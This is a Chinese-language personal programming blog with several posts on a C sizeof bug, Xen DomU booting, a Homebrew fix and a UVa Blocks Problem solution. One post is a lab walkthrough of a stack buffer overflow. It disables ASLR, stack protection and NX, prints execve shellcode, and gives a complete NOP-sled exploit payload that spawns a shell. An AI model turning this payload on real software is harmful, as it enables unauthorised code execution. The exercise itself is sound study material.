星期五, 7月 27, 2012

sizeof(bug)

關於C語言中的sizeof,如果不小心可能會產生蟲兒。

 來看一下程式碼及執行結果:
MaCarrick:mists-of-time cacaegg$ cat subtle-bug.c
#include
int array[] = {23, 34, 12, 17, 204, 99, 16};
#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))

main(){
int d = -1, x;

if(d <= TOTAL_ELEMENTS-2){
printf("T\n");
}else{
printf("F\n");
}
}
MaCarrick:mists-of-time cacaegg$ gcc subtle-bug.c
MaCarrick:mists-of-time cacaegg$ ./a.out
F
為什麼d明明是-1卻印出F呢?

其實是因為sizeof回傳的形態皆為unsinged。

加上當進行signed int d與unsigned int比較時,signed int會被轉成unsigned int。 

所以d在是-1的情況下,其signed bit為1,當其轉為unsinged時,signed bit就成為most significant bit,使得d轉為極大的數了。

修正方法只要加上型態轉換即可:

  if(d <= (int) TOTAL_ELEMENTS - 2)

星期四, 1月 05, 2012

Booting Kernel inside the Xen Paravirt Dom U

記錄一下
先create image,然後將Dom 0的
#xen-create-image --hostname=squeeze-1 --size=8Gb --dist=squeeze --memory=256M --dhcp
....
#mount -o loop=/dev/loop2 /home/xen/domains/squeeze-1/disk.img /mnt/
#cd /mnt/boot
#cp /boot/vmlinuz-2.6.26-1-xen-686 ./
#cp /boot/initrd.img-2.6.26-1-xen-686 ./
#mkdir grub
#cd grub/
#cp /boot/grub/* ./
#vim device.map
#vim menu.lst
# cat device.map
(hd0) /dev/sda
## cat menu.lst
...
...

title Debian GNU/Linux, kernel 2.6.26-1-xen-686
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro quiet
initrd /boot/initrd.img-2.6.26-1-xen-686

title Debian GNU/Linux, kernel 2.6.26-1-xen-686 (single-user mode)
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro single
initrd /boot/initrd.img-2.6.26-1-xen-686


最後就是/etc/xen/squeeze-1.cft中的設定,要指定kernel位置以及root fs的位置
#
# Configuration file for the Xen instance squeeze-1, created
# by xen-tools 3.9 on Thu Jan 5 17:35:59 2012.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-2.6.26-1-xen-686'
ramdisk = '/boot/initrd.img-2.6.26-1-xen-686'
memory = '256'

#
# Disk device(s).
#
root = '/dev/sda ro'
disk = [
'file:/home/xen/domains/squeeze-1/swap.img,sda1,w',
'file:/home/xen/domains/squeeze-1/disk.img,sda,w',
]
指定disk.img export 到/dev/sda,然後再指定root是/dev/sda

星期四, 11月 03, 2011

Pratice Buffer Overflow on Ubuntu 10.10

首先準備有漏洞的Buffer Overflow程式
csep@ubuntu:~/src$ cat samp1.c
#include
#include

int main(int argc, char** argv){
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
為了能夠順利練習,需要先關閉Stack Guard、Stack Space Randomization以及Non Executable Stack
1. 關閉Stack Space Randomization
root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
0

2. 關閉Stack Guard,在gcc compile時加上參數
gcc -g -o samp1 samp1.c -fno-stack-protector

3. 關閉Non Executable Stack,需要額外把NX bit關掉
user@ubuntu:~/src$ sudo apt-get install execstack
...
user@ubuntu:~/src$ execstack -s samp1

4. 執行GDB開始Buffer Overflow
csep@ubuntu:~/src$ gdb -q samp1
Reading symbols from /home/csep/src/samp1...done.
(gdb) run `python -c 'print "\x41"*500'`Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*500'`

Program exited normally.
(gdb) run `python -c 'print "\x41"*520'`
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*520'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*512'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*512'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*504'`

Program received signal SIGILL, Illegal instruction.
0xbffff67a in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
可以看到長度約在504之後會寫到EIP,接著看ESP在大概在哪。
(gdb) list
1 #include
2 #include
3
4 int main(int argc, char** argv){
5 char buffer[500];
6 strcpy(buffer, argv[1]); // Vulnerable Function
7 return 0;
8 }
(gdb) b 6
Breakpoint 1 at 0x80483cd: file samp1.c, line 6.
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp
esp 0xbffff560 0xbffff560
(gdb) p /x 0xbffff560 - 300
$3 = 0xbffff434

從ESP往回算約300,就是要覆寫的ret address。
接著就準備shell code,參考連結
csep@ubuntu:~/src$ ./sc-gen sh
Shellcode lenght: 54
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x74\x72\x69\x62\x68\x2e\x64
\x69\x73\x68\x6e\x2f\x73\x68\x66
\x68\x62\x69\x83\xec\x01\xc6\x04
\x24\x2f\x89\xe6\x50\x56\xb0\x0b
\x89\xf3\x89\xe1\x31\xd2\xcd\x80
\xb0\x01\x31\xdb\xcd\x80
csep@ubuntu:~/src$ for line in `./sc-gen sh | grep "x"`; do echo -n $line; done\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
大致上準備好了,可以Buffer Overflow了。要送出的參數長這樣
[NOP-------] [shell Code] [return Address----]
^--------------------------------------'
只要return address位於NOP中,就可以順利執行Shell Code了。
(gdb) run `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/csep/src/samp1 `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.
process 13123 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

csep@ubuntu:/home/csep/src$
Boom! 拿到Shell了。

星期四, 10月 20, 2011

Homebrew Update Error

出現以下訊息,應該是git有點問題。
From http://github.com/mxcl/homebrew
* branch master -> FETCH_HEAD
error: Your local changes to the following files would be overwritten by merge:
share/man/man1/brew.1
Library/Homebrew/formula_installer.rb
Library/Formula/xpdf.rb
Library/Formula/wine.rb
Library/Formula/webalizer.rb
Library/Formula/tofrodos.rb
Library/Formula/ssldump.rb
Library/Formula/squirrel.rb
Library/Formula/sphinx.rb
Library/Formula/sleepnow.rb
Library/Formula/skipfish.rb
Library/Formula/schroedinger.rb
Library/Formula/rebar.rb
Library/Formula/rabbitmq.rb
Library/Formula/qdbm.rb
Library/Formula/pure.rb
Library/Formula/pkg-config.rb
Library/Formula/parallel.rb
Library/Formula/openvpn.rb
Library/Formula/mcl.rb
Library/Formula/lilypond.rb
Library/Formula/libvirt.rb
Library/Formula/libsamplerate.rb
Library/Formula/libao.rb
Library/Formula/ledit.rb
Library/Formula/jack.rb
Library/Formula/gst-plugins-good.rb
Library/Formula/geeqie.rb
Library/Formula/freealut.rb
Library/Formula/fontforge.rb
Library/Formula/ddclient.rb
Library/Formula/ddate.rb
Library/Formula/d-bus.rb
Library/Formula/cscope.rb
Library/Formula/cppdom.rb
Library/Formula/celt.rb
Library/Formula/cd-discid.rb
Library/Formula/cairomm.rb
Library/Formula/bsdiff.rb
Library/Contributions/manpages/brew.1.md
Library/Contributions/examples/brew-audit.rb
Please, commit your changes or stash them before you can merge.
error: The following untracked working tree files would be overwritten by merge:
Library/Formula/zookeeper.rb
Library/Formula/zdelta.rb
Library/Formula/vip.rb
Library/Formula/vcodex.rb
Library/Formula/sshfs-fuse.rb
Library/Formula/nickle.rb
Library/Formula/isc-dhcp.rb
Library/Formula/gst-plugins-ugly.rb
Library/Formula/gst-plugins-bad.rb
Library/Formula/go-gui.rb
Library/Formula/fluxus.rb
Library/Formula/exodriver.rb
Library/Formula/djvulibre.rb
Library/Formula/cdrdao.rb
Library/Formula/c10t.rb
Library/Formula/blahtexml.rb
Library/Formula/bigloo.rb
Library/Formula/aws-iam-tools.rb
Library/Formula/aget.rb
Library/Aliases/sshfs
Library/Aliases/liblabjackusb
Please move or remove them before you can merge.
Updating 959edff..6cf7c80
Aborting
Error: Failed while executing git pull http://github.com/mxcl/homebrew.git master

Google一下後,成功解決,做個記錄。
$sudo chown -R `whoami` /usr/local
$cd /usr/local
$git add .
$git stash
$git reset --hard
$brew update

星期一, 8月 01, 2011

The Blocks Problem

Background
Many areas of Computer Science use simple, abstract domains for both analytical and empirical studies. For example, an early AI study of planning and robotics (STRIPS) used a block world in which a robot arm performed tasks involving the manipulation of blocks.

In this problem you will model a simple block world under certain rules and constraints. Rather than determine how to achieve a specified state, you will ``program'' a robotic arm to respond to a limited set of commands.

The Problem
Background
Many areas of Computer Science use simple, abstract domains for both analytical and empirical studies. For example, an early AI study of planning and robotics (STRIPS) used a block world in which a robot arm performed tasks involving the manipulation of blocks.

In this problem you will model a simple block world under certain rules and constraints. Rather than determine how to achieve a specified state, you will ``program'' a robotic arm to respond to a limited set of commands.

The Problem
The problem is to parse a series of commands that instruct a robot arm in how to manipulate blocks that lie on a flat table. Initially there are n blocks on the table (numbered from 0 to n-1) with block bi adjacent to block bi+1 for all $0 \leq i < n-1$ as shown in the diagram below:

\begin{figure} \centering \setlength{\unitlength}{0.0125in} % \begin{picture} (2... ...raisebox{0pt}[0pt][0pt]{$\bullet \bullet \bullet$ }}} \end{picture} \end{figure}
Figure: Initial Blocks World

The valid commands for the robot arm that manipulates blocks are:

    move a onto b

    where a and b are block numbers, puts block a onto block b after returning any blocks that are stacked on top of blocks a and b to their initial positions.

    move a over b

    where a and b are block numbers, puts block a onto the top of the stack containing block b, after returning any blocks that are stacked on top of block a to their initial positions.

    pile a onto b

    where a and b are block numbers, moves the pile of blocks consisting of block a, and any blocks that are stacked above block a, onto block b. All blocks on top of block b are moved to their initial positions prior to the pile taking place. The blocks stacked above block a retain their order when moved.

    pile a over b

    where a and b are block numbers, puts the pile of blocks consisting of block a, and any blocks that are stacked above block a, onto the top of the stack containing block b. The blocks stacked above block a retain their original order when moved.

    quit

    terminates manipulations in the block world.

Any command in which a = b or in which a and b are in the same stack of blocks is an illegal command. All illegal commands should be ignored and should have no affect on the configuration of blocks.

The Input
The input begins with an integer n on a line by itself representing the number of blocks in the block world. You may assume that 0 < n < 25.

The number of blocks is followed by a sequence of block commands, one command per line. Your program should process all commands until the quit command is encountered.

You may assume that all commands will be of the form specified above. There will be no syntactically incorrect commands.

The Output

The output should consist of the final state of the blocks world. Each original block position numbered i ( $0 \leq i < n$ where n is the number of blocks) should appear followed immediately by a colon. If there is at least a block on it, the colon must be followed by one space, followed by a list of blocks that appear stacked in that position with each block number separated from other block numbers by a space. Don't put any trailing spaces on a line.

There should be one line of output for each block position (i.e., n lines of output where n is the integer on the first line of input).

Sample Input

10
move 9 onto 1
move 8 over 1
move 7 over 1
move 6 over 1
pile 8 over 6
pile 8 over 5
move 2 over 1
move 4 over 9
quit

Sample Output

 0: 0
 1: 1 9 2 4
 2:
 3: 3
 4:
 5: 5 8 7 6
 6:
 7:
 8:
 9:
#include
#include
#include

#define MOVE 000
#define PILE 010
#define ONTO 000
#define OVER 001

struct block{
int value;
struct block *next;
};

char* readline(FILE*);
void moveonto(int, int, struct block**, int *);
void moveover(int, int, struct block**, int *);
void pileonto(int, int, struct block**, int *);
void pileover(int, int, struct block**, int *);
void push(struct block**, struct block*, int, int *);
struct block* pop(struct block**, int);

int main(int argc, char **argv){
struct block **table,*block_entry;
char *line, *tok;
int *block_index;
/* Remember where table_index of the block is */
int op1, op2, i;
short act, table_size=0;

/* Initialize the blocks world */
line = readline(stdin);
table_size = atoi(line);
if(table_size >= 25 || table_size <= 0) return 0; table = calloc(table_size, sizeof(struct block **)); block_index = calloc(table_size, sizeof(int)); for(i = 0; i < table_size; i++){ block_entry = (struct block*) malloc(sizeof(struct block)); block_entry->value = i;
block_entry->next = NULL;
table[i] = block_entry;
block_index[i] = i;
}

while(strlen(line = readline(stdin)) > 0){
if(strcmp(line, "quit") == 0)
break;
act = 0;
tok = strtok(line, " ");
if(strcmp(tok, "pile") == 0)
act += PILE;
op1 = atoi(strtok(NULL, " "));
tok = strtok(NULL, " ");
if(strcmp(tok, "over") == 0)
act += OVER;
op2 = atoi(strtok(NULL, " "));
if(op1 == op2 || block_index[op1] == block_index[op2]
|| op1 >= table_size
|| op2 >= table_size
|| op1 < 0 || op2 < 0) continue; switch(act){ case MOVE+ONTO: moveonto(op1, op2, table, block_index); continue; case MOVE+OVER: moveover(op1, op2, table, block_index); continue; case PILE+ONTO: pileonto(op1, op2, table, block_index); continue; case PILE+OVER: pileover(op1, op2, table, block_index); continue; } } /* Print the blocks world */ for(i = 0; i < table_size; i++){ block_entry = table[i]; printf("%d:", i); while(block_entry != NULL){ printf(" %d", block_entry->value);
block_entry = block_entry->next;
}
printf("\n");
}

return 0;
}

void push(struct block **table, struct block *entry, int index, int block_index[]){
struct block *ptr;
if((ptr = table[index]) == NULL){
table[index] = entry;
block_index[entry->value] = index;
return;
}
while(ptr->next != NULL)
ptr = ptr->next;
ptr->next = entry;
block_index[entry->value] = index;
entry->next = NULL;
}

struct block* pop(struct block **table, int index){
struct block *ptr, *pre;
pre = NULL;
ptr = table[index];
while(ptr->next != NULL){
pre = ptr;
ptr = ptr->next;
}
if(pre != NULL)
pre->next = NULL;
else
table[index] = NULL;
return ptr;
}

void moveonto(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over a and b to the orignal place.
*/
struct block *block_entry, *block_a;

while((block_entry = pop(table, block_index[op1])) != NULL){
if(block_entry->value != op1) /* Move block over a to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block a */
block_a = block_entry;
break;
}
}
while((block_entry = pop(table, block_index[op2])) != NULL){
if(block_entry->value != op2) /* Move block over b to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block b */
push(table, block_entry, block_index[op2], block_index);
break;
}
}
/* Move block a onto b */
push(table, block_a, block_index[op2], block_index);
return;
}

void moveover(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over a to its orginal place.
*/
struct block *block_entry, *block_a;

while((block_entry = pop(table, block_index[op1])) != NULL){
if(block_entry->value != op1) /* Move block over a to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block a */
block_a = block_entry;
break;
}
}
/* Move block a onto b */
push(table, block_a, block_index[op2], block_index);
return;
}

void pileonto(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over b to its orginal place.
*/
struct block *block_entry, *pre=NULL, *next;

while((block_entry = pop(table, block_index[op2])) != NULL){
if(block_entry->value != op2){ /* Move block over b to initial position */
push(table, block_entry, block_entry->value, block_index);
}
else{ /* It is the block b, so push back */
push(table, block_entry, block_entry->value, block_index);
break;
}
}

/* Make a list to keep the order */
while((block_entry = pop(table, block_index[op1])) != NULL){
block_entry->next = pre;
pre = block_entry;
if(block_entry->value == op1)
break;
}

/* Push the list onto block b in order
*/
while(1){
next = block_entry->next;
push(table, block_entry, block_index[op2], block_index);
block_entry = next;
if(block_entry == NULL) break;
}
}

void pileover(int op1, int op2, struct block **table, int block_index[]){
struct block *block_entry, *pre, *next;

/* Make a list to keep the order
*/
pre = NULL;
while((block_entry = pop(table, block_index[op1])) != NULL){
block_entry->next = pre;
pre = block_entry;
if(block_entry->value == op1)
break;
}

/* Push the list onto block b in order
*/
while(1){
next = block_entry->next;
push(table, block_entry, block_index[op2], block_index);
block_entry = next;
if(block_entry == NULL) break;
}
}

char* readline(FILE* f){
char* ret = (char *) calloc(0, sizeof(char));
char c;
int len = 0;

while((c = fgetc(f)) != EOF && c != '\n'){
ret = (char *) realloc(ret, sizeof(char) * len + 2);
ret[len++] = c;
ret[len] = '\0';
}
return ret;
}

心得
1. Input不要去預設Range,像是人家說整數不要自己認為是正整數。
2. 做OR運算先後順序,要多多注意